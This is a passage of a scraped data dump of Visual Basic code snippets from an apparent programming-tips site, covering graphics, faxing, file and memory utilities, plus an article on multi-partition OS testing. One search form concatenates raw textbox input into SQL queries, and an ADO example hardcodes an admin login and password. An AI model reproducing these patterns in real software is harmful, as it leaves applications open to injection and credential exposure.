BF\nfrmForm.Line (0, intLineWidth)-(intScaleWidth, 0), &HFFFFFF, BF\nfrmForm.Line (intScaleWidth, 0)-(intScaleWidth - intLineWidth, intScaleHeight), &H808080, BF\nfrmForm.Line (intScaleWidth, intScaleHeight - intLineWidth)-(0, intScaleHeight), &H808080, BF\nDim intCircleWidth As Integer\nintCircleWidth = Sqr(intLineWidth * intLineWidth + intLineWidth * intLineWidth)\nfrmForm.FillStyle = 0\nfrmForm.FillColor = QBColor(15)\nfrmForm.Circle (intLineWidth, intScaleHeight - intLineWidth), intCircleWidth, QBColor(15), -3.1415926, -3.90953745777778 '-180 * cPi / 180, -224 * cPi / 180\nfrmForm.Circle (intScaleWidth - intLineWidth, intLineWidth), intCircleWidth, QBColor(15), -0.78539815, -1.5707963 ' -45 * cPi / 180, -90 * cPi / 180\nfrmForm.Line (0, intScaleHeight)-(0, 0), 0\nfrmForm.Line (0, 0)-(intScaleWidth - 1, 0), 0\nfrmForm.Line (intScaleWidth - 1, 0)-(intScaleWidth - 1, intScaleHeight - 1), 0\nfrmForm.Line (0, intScaleHeight - 1)-(intScaleWidth - 1, intScaleHeight - 1), 0\nfrmForm.ScaleMode = intSaveScaleMode\nEnd Sub\n"},{"WorldId":1,"id":11237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10631,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13169,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10585,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28215,"LineNumber":1,"line":"Private Sub Form_Load()\n On Error GoTo ErrHandler\n Dim strComputer As String\n strComputer = \"yourComputerName\"\n \n Dim oFaxServer As FAXCOMLib.FaxServer\n Set oFaxServer = New FAXCOMLib.FaxServer\n Dim oFaxDoc As FAXCOMLib.FaxDoc\n \n oFaxServer.Connect strComputer\n oFaxServer.ServerCoverpage = 0\n Set oFaxDoc = oFaxServer.CreateDocument(App.Path & \"\\\" & \"New Text Document.txt\")\n \n With oFaxDoc\n .FaxNumber = \"5551212\"\n .DisplayName = \"Fax Server\"\n Dim lngSend As Long\n lngSend = .Send\n End With\n \n Set oFaxDoc = Nothing\n oFaxServer.Disconnect\n Set oFaxServer = Nothing\n Exit Sub\nErrHandler:\n MsgBox Err.Number & \" \" & Err.Description\nEnd Sub\n"},{"WorldId":1,"id":14586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11131,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13756,"LineNumber":1,"line":"A good message to the user should contain quotes, e.g. File \"c:\\MyFile.txt\" was not found.\nBut how do you actually display the Quote symbols easily? For a few years, I was defining my own sQuoteChar symbol, which was Chr$(34). But doing it was tedious. Lucky for us, there is a better way to display the Quote symbol.\n \nMsgBox (\"File \"\"C:\\MyFile.txt\"\" was not found\")\nHere, when you put 2 quotes together, VB realizes you actually want to show C:\\MyFile.txt in quotes. Otherwise, you would need an annoyingly long code, like\nMsgBox (\"File \" & sQuoteChar & \"C:\\MyFile.txt\" & sQuoteChar & \" was not found\")\nSee the difference? Good :)\nHope this is useful to you."},{"WorldId":1,"id":11020,"LineNumber":1,"line":"Public Function FaxReport() As Boolean\n On Error GoTo EH\n Dim lReport As Report\n Dim lFileName As String\n Dim lSendObj As Object' winfax send object\n Dim lRet As Long\n \n 'delete any existing fax report file\n lFileName = CurDir & \"\\\" & \"FaxReport.html\"\n If Dir(lFileName) <> vbNullString Then\n Kill lFileName\n End If\n 'save as an html file so that it can be faxed \n 'as an attachement\n DoCmd.OutputTo acOutputReport, _\n mReportName, \"html\", lFileName\n \n 'now is the time to fax the html file\n Set lSendObj = CreateObject(\"WinFax.SDKSend\")\n lRet = lSendObj.SetAreaCode(\"801\")\n lRet = lSendObj.SetCountryCode(\"1\")\n lRet = lSendObj.SetNumber(9816661)\n lRet = lSendObj.AddRecipient()\n lRet = lSendObj.AddAttachmentFile(lFileName)\n lRet = lSendObj.ShowCallProgress(1)\n lRet = lSendObj.Send(0)\n lRet = lSendObj.Done()\n \n Exit Function\nEH:\n Exit Function\nend function"},{"WorldId":1,"id":27624,"LineNumber":1,"line":"With UILetterDataReport 'DataReport Name\n .DataMember = \"cmdClaimsLetter\" 'Name of the Command\nSet .DataSource = UIDataEnvironment 'Name of the DataEnvironment\n .Caption = \"Letter for: SSN= \" & strSSN ' Changing caption properties of the report\n \n With .Sections(\"Section1\").Controls 'Name of the detail section of the report.\n .Item(\"lblCopy\").Caption = \"COPY\" 'Set caption of the field \n End With\n.Refresh 'Refresh Report\nEnd With\n"},{"WorldId":1,"id":31851,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10781,"LineNumber":1,"line":"Private Type BITMAP\n bmType As Long\n bmWidth As Long\n bmHeight As Long\n bmWidthBytes As Long\n bmPlanes As Integer\n bmBitsPixel As Integer\n bmBits As Long\nEnd Type\nPrivate Declare Function GetObject Lib \"gdi32\" Alias \"GetObjectA\" (ByVal hObject As Long, ByVal nCount As Long, lpObject As Any) As Long\nPrivate Declare Function GetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long\nPrivate Declare Function SetBitmapBits Lib \"gdi32\" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As Long\nDim PicBits() As Byte, PicInfo As BITMAP, Cnt As Long\nPrivate Sub CF()\n Dim k As Long\n \n On Error Resume Next\n Picture1.Picture = Picture1.Image\n GetObject Picture1.Image, Len(PicInfo), PicInfo\n ReDim PicBits(1 To PicInfo.bmWidth * PicInfo.bmHeight * 3) As Byte\n GetBitmapBits Picture1.Image, UBound(PicBits), PicBits(1)\n For Cnt = 2 To UBound(PicBits) + 1\n k = PicBits(Cnt - 1) + PicBits(Cnt + 1)\n k = k \\ 2\n PicBits(Cnt) = k\n Next Cnt\n SetBitmapBits Picture1.Image, UBound(PicBits), PicBits(1)\n Picture1.Refresh\nEnd Sub\nPrivate Sub Timer1_Timer()\n Call CF\nEnd Sub"},{"WorldId":1,"id":11070,"LineNumber":1,"line":"Private Declare Sub CopyMemByPtr Lib \"kernel32\" Alias _\n \"RtlMoveMemory\" (ByVal lpTo As Long, ByVal lpFrom As Long, _\n ByVal lLen As Long)\n\nPrivate Sub Form_Click()\n Dim a As Long, b As String, c As Long, d As String\n Dim i As Integer, j As Long, k As Integer, l As Long\n Dim u(2) As Byte, o As Long\n \n b = \"HELLO!\"\n d = Space(Len(b))\n i = 20\n u(0) = 23\n u(1) = 243\n u(2) = 124\n \n o = VarPtr(u(0))\n j = VarPtr(i)\n l = VarPtr(k)\n a = StrPtr(b)\n c = StrPtr(d)\n \n CopyMemByPtr o + 1, j, Len(u(0)) * 2\n CopyMemByPtr l, j, Len(i) * 2\n CopyMemByPtr c, a, Len(b) * 2\n \n MsgBox d & vbCr & k & vbCr & u(1)\nEnd Sub"},{"WorldId":1,"id":11429,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim lForIndex As Long\n Set colDirs = Nothing\n Set colDirs = New Collection\n Me.List1.Clear\n DoEvents\n colToFill.Add Item:=endInSlash(\"C:\")\n Call makeTree(\"C:\", colDirs)\n For lForIndex = 1 To colDirs.Count\n Debug.Print colDirs.Item(lForIndex)\n Next lForIndex\nEnd Sub\nSub makeTree(ByVal inPath As String, ByRef colToFill As Collection)\nDim objDir1 As Folder\nDim objDir2 As Folder\nDim sCurrentDir As String\n sCurrentDir = endInSlash(inPath)\n Set objDir1 = objFso.GetFolder(sCurrentDir)\n \n For Each objDir2 In objDir1.SubFolders\n colToFill.Add Item:=sCurrentDir & objDir2.Name\n Call makeTree(sCurrentDir & objDir2.Name, colToFill)\n Next objDir2\n Set objDir1 = Nothing\n Set objDir2 = Nothing\nEnd Sub\nFunction endInSlash(ByVal inString As String) As String\n If Right$(inString, 1) <> \"\\\" Then\n endInSlash = inString & \"\\\"\n Else\n endInSlash = inString\n End If\nEnd Function\n"},{"WorldId":1,"id":30762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29692,"LineNumber":1,"line":"Public Function Tail(fName As String, NumOfLines As Integer, ArrayName() As String)\nDim ff As Integer\nDim raw As String\nDim lines() As String 'used to hold the lines of the text file\nDim lStart As Integer 'switch to LONG if you have over 65k lines.\nIf Not fileExist(fName) Then\nMsgBox \"File Not Found - \" & vbCrLf & fName, vbCritical, \"Error\"\nExit Function\nEnd If\nff = FreeFile\nOpen fName For Binary As #ff\nraw = String$(LOF(ff), 32)\nGet #ff, 1, raw\nClose #ff\nlines() = Split(raw, vbNewLine) 'this assumes that the data is stored in individual lines.\nReDim ArrayName(NumOfLines)\nIf NumOfLines > UBound(lines) Then NumOfLines = UBound(lines)\nlStart = UBound(lines) - NumOfLines\nFor i = 1 To NumOfLines\nArrayName(i) = lines(lStart + i)\nNext i\nEnd Function\n'and the bonus 'FILEEXIST' function:\nPublic Function fileExist(filename As String) As Boolean\n Dim l As Long\n On Error Resume Next\n \n l = FileLen(filename)\n \n fileExist = Not (Err.Number > 0)\n \n On Error GoTo 0\nEnd Function"},{"WorldId":1,"id":21013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11547,"LineNumber":1,"line":"Private Sub Command1_Click()\nUnload Me 'Unload the program\nEnd\nEnd Sub\nPrivate Sub Form_Load()\n'set the Colwidth of the grid\nfg.ColWidth(0) = 550\nfg.ColWidth(1) = 3000\nfg.ColWidth(2) = 3000\nEnd Sub\nPrivate Sub Text1_Change()\nAdodc1.RecordSource = \"select PubID,Name,[Company Name] from publishers where ucase(mid(pubid,1,\" & Len(Text1.Text) & \"))= '\" & Text1.Text & \"' and ucase(mid(name,1,\" & Len(Text2.Text) & \"))= '\" & Text2.Text & \"'\"\nAdodc1.Refresh\nfg.SelectionMode = flexSelectionByRow\n'The mid function checkes the records according\n'to the info typed in the textbox.\n'It queries the ADODC with every letter typed\n'in the textbox,making it a bit more refined\n'search on the records.\nEnd Sub\nPrivate Sub Text2_Change()\nAdodc1.RecordSource = \"select PubID,Name,[Company Name] from publishers where ucase(mid(name,1,\" & Len(Text2.Text) & \"))= '\" & Text2.Text & \"'\"\nAdodc1.Refresh\nfg.SelectionMode = flexSelectionByRow\nEnd Sub\n'Just use the mid function as i have and\n'you can query any database for the record.\n'This kind of search is useful if the u have to\n'go thru a large database.\n\n'PLEASE VOTE\n"},{"WorldId":1,"id":22485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21131,"LineNumber":1,"line":"'This was found at the Microsoft Knowledgebase, Article ID: Q185730 \n'Paste the following code into the code Module for Form1:\nOption Explicit\nPrivate Sub Form_Load()\n If App.PrevInstance Then\n ActivatePrevInstance\n End If\nEnd Sub\n\n'2) Add a Standard Module to the Project.\n'3) Paste the following code into the module:\nOption Explicit\nPublic Const GW_HWNDPREV = 3\nDeclare Function OpenIcon Lib \"user32\" (ByVal hwnd As Long) As Long\nDeclare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nDeclare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Long) As Long\nDeclare Function SetForegroundWindow Lib \"user32\" (ByVal hwnd As Long) As Long\nSub ActivatePrevInstance()\n Dim OldTitle As String\n Dim PrevHndl As Long\n Dim result As Long\n 'Save the title of the application.\n OldTitle = App.Title\n 'Rename the title of this application so FindWindow\n 'will not find this application instance.\n App.Title = \"unwanted instance\"\n 'Attempt to get window handle using VB4 class name.\n PrevHndl = FindWindow(\"ThunderRTMain\", OldTitle)\n 'Check for no success.\n If PrevHndl = 0 Then\n 'Attempt to get window handle using VB5 class name.\n PrevHndl = FindWindow(\"ThunderRT5Main\", OldTitle)\n End If\n 'Check if found\n If PrevHndl = 0 Then\n 'Attempt to get window handle using VB6 class name\n PrevHndl = FindWindow(\"ThunderRT6Main\", OldTitle)\n End If\n 'Check if found\n If PrevHndl = 0 Then\n 'No previous instance found.\n Exit Sub\n End If\n 'Get handle to previous window.\n PrevHndl = GetWindow(PrevHndl, GW_HWNDPREV)\n 'Restore the program.\n result = OpenIcon(PrevHndl)\n 'Activate the application.\n result = SetForegroundWindow(PrevHndl)\n 'End the application.\n End\nEnd Sub\nBHeath\nDeffacto Web Designs Team\nhttp://www.deffacto.com"},{"WorldId":1,"id":13268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10813,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25129,"LineNumber":1,"line":"Private Sub Form_Load()\n'First, Project->References->Microsoft ActiveX Data Objects\n'Now, declare the connection\nDim adoConn As New adodb.connection\n'Declare the recordset\nDim adoRS As New adodb.Recordset\n'Declare the querey\nDim sqlString As String\n'Set the connection string:\n'Driver tells it were using SQL Server\n'Server says what it is named (click the properties of your server through Enterprise Manager. If you don't have E.M. you must reinstall)\n'Database is the database within the SQL Server we want\n'Also tell it our login/password (which you can setup by adding a user to your database, there is a button that says add user)\nadoConn.ConnectionString = \"Driver={SQL Server}; \" & _\n \"Server=MYSQLSERVER; \" & _\n \"Database=testdatabase; \" & _\n \"UID=admin; \" & _\n \"PWD=test\"\n'Set the querey\nsqlString = \"SELECT * FROM personal\"\n'Open the connection\nadoConn.Open\n'Execute the querey:\n'Tell it what we want\n'Tell it where to get it\n'Allow the user to fully navigate the recordset\n'Tell it that were going to lock the records right after we edit them\n'Tell the server that the command is in text format\nadoRS.Open sqlString, _\n adoConn, _\n adOpenKeyset, _\n adLockPessimistic, _\n adCmdText\n'Loop through our recordset\nWhile Not adoRS.EOF\n lstNames.AddItem Trim(adoRS(\"id\")) & \". \" & _\n Trim(adoRS(\"fname\")) & \" \" & Trim(adoRS(\"lname\"))\n 'Get the next record\n adoRS.MoveNext\nWend\n'Close the recordset\nadoRS.Close\n'Close the connection\nadoConn.Close\n'Set the objects to nothing\nSet adoRS = Nothing\nSet adoConn = Nothing\nEnd Sub"},{"WorldId":1,"id":10658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21772,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22044,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34520,"LineNumber":1,"line":"Novice users should not attempt this. You will\nneed to know what you are doing.\n\n\nA question that often comes up, in the discussion forum is \"It worked on\nmy computer, but when I install on my friends it has faults and wont run, what\ncan I do ?\". There are many things that may have gone wrong in the writing\nof the application, and I dont intend addressing all these. Let's assume the\ncode is correct and the P&D wizard was used to build a package. How to test\nit ? If you had half a dozen computers with different operating systems on each,\nfreshly installed with no other applications installed, you could install your\napp on each machine for testing.\n\n\n\n\nGreat, who has half a dozen computers at home - not me ! This is what I do, I\ndont say it's the best way, or the only way - it's just the method I employ.\nDont try this at home kids, unless you're backed up, know what you're doing and\npromise not to blame me if it all turns to....\n\n\nRequirements:\n\n\nEnough spare time to install a few operating systems. Patience. Bravery.\n\n\n\n\nA computer with 2 hard drives - one for storage of files, the other for\noperating systems with four primary partitions.\n\n\n\n \n\nPartitions\n\n\n1. Main development OS - I recommend Windows 2000 Pro.\n\n\n\n\n2 to 4 - Test OS's - depending on your needs - say 95,98,XP\n\n\nSetting Up.\n\n\nBack up files you cant afford to lose.\n\n\n\n\nOn your 'Master' hard drive - format, and create four partitions.\n\n\n\n\nKeep in mind: Win 95,98 - partitions need only to be a few hundred Mb.\n\n\n\n\nXP - ideally at least 1.5 Gb. I suggest these partitions be Fat32, but thats\nup to you.\n\n\n\n\nSet up your development OS\n\n\n\n\nSet the next partition to 'Active', boot to that OS.\n\n\n\n\nSet up your first test OS.\n\n\n\n\nRepeat the process until all partitions have an OS installed.\n\n\n\n\nAssuming all is well, set your development OS 'Active' and start coding. To\ntest a package, copy the setup files to your 'Slave' or storage hard drive, set\none of your test OS's 'Active' and boot to it.\n\n\n\n\nInstall your application, test for bugs. Repeat the process with the OS's you\nwish to test on.\n\n\nIssues: \nOK, we've tested an installation on a\npartition - now that OS is no longer 'virgin', future testing may be\ncompromised. For NT based OS's the only fix is to re-install - if you feel it is\nrequired. For all versions of Win95/98 however there is a solution. These\noperating systems can be zipped up for later use but you will need a partition\nutility - FDisk is not sufficient for our needs - (I recommend 'Partition\nMagic')\n\n\n\n \n\nZipping Operating Systems\n\n\nAssumes Zip program installed - WinZip for example.\n\n\n\n\nBoot to a Win 95 or Win98 partition.\n\n\n\n\nUse this zip application to create a zip file of your entire C drive, saving\nthis zip file to your storage partition. You should make this zip as soon as you\nhave installed the OS - remember, you only have to do this once.\n\n\nUnzipping an Operating System\n\n\nUsing your partition utility - not FDisk, set 'Active' a Win95 or Win98\npartition(NOT the partition you wish to unzip to), AND set the partition you\nwish to unzip to 'Visible'(Normally only the 'Active' primary partition is\nvisible in My Computer, but we need to see the partition in order to unzip to\nit, this is why FDisk is not used - FDisk cant set a 'non-Active' primary\npartition visible). While we're in the partition utility, format this drive\nyou're going to unzip to. Boot to the 'Active' partition. In My Computer, there\nwill appear another drive. It is important not to do too much while both these\nprimary partitions are visible - there's two primary partitions here and drive\nletters have changed, keep activity to a minimum ! If you browse to this new\ndrive you will see it is empty - we just formatted it. From your storage\npartition, unzip your previously zipped OS to this empty drive. Browse to 'C:\\'\ndrive - this will set the 'CurDir' to 'C:\\'.\n\n\n\n\nFrom the run menu, type \"sys e:\" or which ever drive letter you\nneed to unzip to. This command copies system files required by your new OS to\nthat drive.(Sometimes this is unneccesary - but just to be safe).\n\n\n\n\nSet this drive 'Active' and boot to it. You now have a complete OS setup in\nunder 5 minutes ! All settings, drivers, any applications installed are all\nthere - the lot.\n\n\nExample zips I have on my storage drive:\n\n\nWin98SE with VB6\n\n\n\n\nWin98SE with VB6-SP4\n\n\n\n\nWin98SE with VB6-SP5\n\n\n\n\nWin95B - minimum setup\n\n\n\n\nWin95D - minimum setup\n\n\n\n\nWin98 - minimum setup\n\n\n\n\nWin98SE - minimum setup\n\n\n\n \n\n\n\nNaturally there are many combinations of drives/partitions you could use,\nthis is just an example.\n\n\n\n\nThere are applications that promise more than four primary partitions(32 or\nmore). I dont recommend such partition applications, I have found such systems\nto be unstable. Four operating systems seems to work, I haven't had a glitch in\nfour years.\n\n\n\n\nOnce you've done this once or twice and seen how easy it is, you will never\nbother with the tedious task of setting up Win95/98 again. Simply unzip a\npreviously zipped OS. Helps greatly if infected by virus etc.\n\n\n\n\nor have just destroyed your OS through overuse or incompetence !\n\n\n\n Below : Updated 8th May \n\nBefore commenting\nFirst, before commenting please read this\narticle in order to understand exactly what it achieves, how it goes about it,\nand it's limitations. I say this in the hope of avoiding some unrelated comments\ndue to misunderstanding the concept I am putting forward.\nTarget usage:\nStand-alone PC, with no expensive software\nneeded for implementation.\nWhat it can do:\nSet up an entire operating system on an empty\nhard drive in under 5 minutes.\nRun multiple OS's on a stand-alone PC without multi-booting. Provide excellent protection/recovery ability\nfrom both virus and hacker. Provide a method of storing many OS's using a\nminimum of storage space.\nAdvantages:\nCheap, simple, flexible, fast, reliable.\nLeaves you in total control of your partitions, not some automated process. Very\nlittle time spent in DOS. Results in REAL OS's - not virtual OS's with the\nconsequent performance losses.\nDisadvantages:\nWont backup NT based OS's.\nRequired:\nSome REAL LIFE experience with hard drives and\npartitioning. If your knowledge is based on what the books say, please keep an\nopen mind and think for yourself.\nTo the doubters:\nThe system described WORKS, and has been\ntested over many years, in many different situations. I am not some kid, I've\nbeen around the block more than a few times.\nWarnings:\nCompaq users, sorry, not for you. It may work,\nbut I've heard horror stories.\n\n \n \n \n\nPlease feel free to comment/ask questions.\n\n Below : Updated 9th May \n\nThere are a lot of comments on this\nsubmission. here is a summary of comments so far, but please read them in full\nas they answer in more detail some of the questions you may have regarding how\nto implement the methods I have alluded to in this submission. \nGet friends to test apps -\nonly addresses part of this submissions concept\nUse Backup instead of zipping - doesn't\nachieve desired results\nBe careful how you install multi-boot\nsystems - this submission has nothing to\ndo with multi-booting\nZip files are unreliable -\nno they're not\nUse Norton\nGhost - this submission requires NO\nexpensive software, and Norton Ghost has a reputation for not working on\neveryone's machine, and only addresses part of what this submission can do.\nUse 2 computers -\nthis is for folks with only one computer\nUse VMware or other 'Virtual OS' software\n- this submission requires NO expensive software, and is\ndesigned for slow and fast machines alike. And like Norton Ghost only addresses \npart of what this submission can do.\n \n \n"},{"WorldId":1,"id":32905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14286,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14116,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11006,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24144,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12322,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13300,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n Dim CtrlName As String, CtrlIdx As Integer\n Dim ClrSlct As Integer, ClrSlcted As Long\n Dim LblRow As Integer\n \n Randomize\n \n CtrlIdx = Rnd * 7\n \n Randomize\n \n ClrSlct = Rnd * 3\n \n Select Case ClrSlct\n Case 0\n ClrSlcted = &HFF00& 'Green\n Case 1\n ClrSlcted = &HFF& 'Red\n Case 2\n ClrSlcted = &HFF0000 'Blue\n Case 3\n ClrSlcted = &HFFFF& 'Yellow\n End Select\n \n Randomize\n \n LblRow = (Rnd * 1) + 1\n CtrlName = \"Label\" & LblRow\n \n Form1.Controls(CtrlName).Item(CtrlIdx).BackColor = ClrSlcted\n \nEnd Sub"},{"WorldId":1,"id":30642,"LineNumber":1,"line":"'You will need 3 controls\n'TextBox = Text1\n'ComboBox = Combo1\n'ListBox = List1\n'Then you can cut and paste.\nPrivate Sub Form_Load()\n 'Load our test items.\n Combo1.AddItem \"Adam\"\n Combo1.AddItem \"Bill\"\n Combo1.AddItem \"Dave\"\n Combo1.AddItem \"Dick\"\n Combo1.AddItem \"Neville\"\n Combo1.AddItem \"Norman\"\n Combo1.AddItem \"Simon\"\n Combo1.AddItem \"Steve\"\n Combo1.AddItem \"Stevie\"\n Combo1.AddItem \"Tom\"\n \n List1.AddItem \"Adam\"\n List1.AddItem \"Bill\"\n List1.AddItem \"Dave\"\n List1.AddItem \"Dick\"\n List1.AddItem \"Neville\"\n List1.AddItem \"Norman\"\n List1.AddItem \"Simon\"\n List1.AddItem \"Steve\"\n List1.AddItem \"Stevie\"\n List1.AddItem \"Tom\"\nEnd Sub\nPrivate Sub Text1_Change()\n Dim cmbInd As Long, lstInd As Long\n \n '0 is the last item in the list not the first\n For cmbInd = (Combo1.ListCount - 1) To 0 Step -1\n If UCase(Left(Combo1.List(cmbInd), Len(Text1.Text))) = UCase(Text1.Text) Then Combo1.ListIndex = cmbInd 'Find and set the selected combo item\n Next\n \n For lstInd = (List1.ListCount - 1) To 0 Step -1\n If UCase(Left(List1.List(lstInd), Len(Text1.Text))) = UCase(Text1.Text) Then List1.Selected(lstInd) = True 'Find and set the selected list item\n Next\nEnd Sub"},{"WorldId":1,"id":14638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27940,"LineNumber":1,"line":"Public Function ACmsgbox(AutoCloseSeconds As Long, prompt As String, Optional buttons As Long, _\n Optional title As String, Optional helpfile As String, _\n Optional context As Long) As Long\n \n sLastTitle = title\n SetTimer Screen.ActiveForm.hWnd, NV_CLOSEMSGBOX, AutoCloseSeconds * 1000, AddressOf TimerProc\n ACmsgbox = MsgBox(prompt, buttons, title, helpfile, context)\nEnd Function\nPrivate Sub TimerProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal idEvent As Long, ByVal dwTime As Long)\n Dim hMessageBox As Long\n \n KillTimer hWnd, idEvent\n \n Select Case idEvent\n Case NV_CLOSEMSGBOX\n hMessageBox = FindWindow(\"#32770\", sLastTitle)\n If hMessageBox Then\n Call SetForegroundWindow(hMessageBox)\n SendKeys \"{enter}\"\n End If\n \n sLastTitle = vbNullString\n End Select\nEnd 